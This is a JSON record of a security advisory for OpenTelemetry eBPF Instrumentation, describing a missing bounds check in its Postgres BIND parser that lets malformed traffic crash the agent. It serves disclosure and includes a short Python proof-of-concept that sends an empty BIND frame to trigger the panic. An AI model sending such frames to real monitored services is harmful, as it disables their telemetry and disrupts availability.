{"id":"GHSA-pgvv-q3wf-mm9m","revision":"d2799a06ba5a42eca68f64c3f8c74c5c","records":[{"revision":"d2799a06ba5a42eca68f64c3f8c74c5c","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-pgvv-q3wf-mm9m","aliases":["CVE-2026-45678","GO-2026-5539"],"title":"OpenTelemetry eBPF Instrumentation: Postgres BIND parsing can panic on malformed payloads","description":"### Summary\n\nThe Postgres protocol parser assumes `BIND` message payloads contain a valid NUL-terminated portal name. A crafted empty or unterminated payload can make OBI slice beyond the end of the captured buffer and panic.\n\n### Details\n\nThe vulnerable logic is in [pkg/ebpf/common/sql_detect_postgres.go](https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/d5691806adc98008bacd2b7a4a4e0cd38ea51227/pkg/components/ebpf/common/sql_detect_postgres.go#L286-L294). In the `BIND` case, OBI converts the full payload to a string with `unix.ByteSliceToString(msg.data)`, computes `portalLen := len(portal) + 1`, and then slices `msg.data[portalLen:]` to derive the statement name.\n\nThere is no check that `msg.data` actually contains a NUL terminator or even enough bytes for `portalLen`. With an empty payload or a truncated message, `portalLen` can exceed the slice length and trigger a runtime panic.\n\n### PoC\n\nLocal testing with a minimal reproducer showed the expected `slice bounds out of range` crash for an empty BIND payload.\n\nUse a vulnerable build:\n\n```bash\ngit checkout v0.0.0-rc.1+build\nmake build\n```\n\nStart a local Postgres instance and OBI:\n\n```bash\ndocker run --rm -e POSTGRES_PASSWORD=postgres -p 5432:5432 postgres:17\nsudo ./bin/obi\n```\n\nSend a malformed `BIND` frame with an empty payload:\n\n```python\n# save as /tmp/pg-bind-poc.py\nimport socket, struct\n\ntag = b'B'\nlength = struct.pack(\">I\", 4)\npayload = b\"\"\n\ns = socket.create_connection((\"127.0.0.1\", 5432))\ns.sendall(tag + length + payload)\ns.close()\n```\n\nRun it:\n\n```bash\npython3 /tmp/pg-bind-poc.py\n```\n\nOn a vulnerable build, the Postgres parser in OBI panics while processing the captured payload.\n\n### Impact\n\nThis is a remote availability issue in OBI's Postgres parser. Any attacker able to send malformed Postgres traffic to a monitored service can crash the agent and stop telemetry collection for that node or process.","state":0,"publishedAt":"2026-05-18T17:56:26+00:00","modifiedAt":"2026-06-25T23:11:04.4450291+00:00","affected":[{"ecosystem":"Go","name":"go.opentelemetry.io/obi","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.9.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/security/advisories/GHSA-pgvv-q3wf-mm9m","https://nvd.nist.gov/vuln/detail/CVE-2026-45678","https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation","https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/releases/tag/v0.9.0"],"sourceUrl":"https://github.com/advisories/GHSA-pgvv-q3wf-mm9m","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-pgvv-q3wf-mm9m","identifiers":["GHSA-pgvv-q3wf-mm9m","CVE-2026-45678","GO-2026-5539"]},"retained":false,"historicalAffected":[]}],"coverage":[]}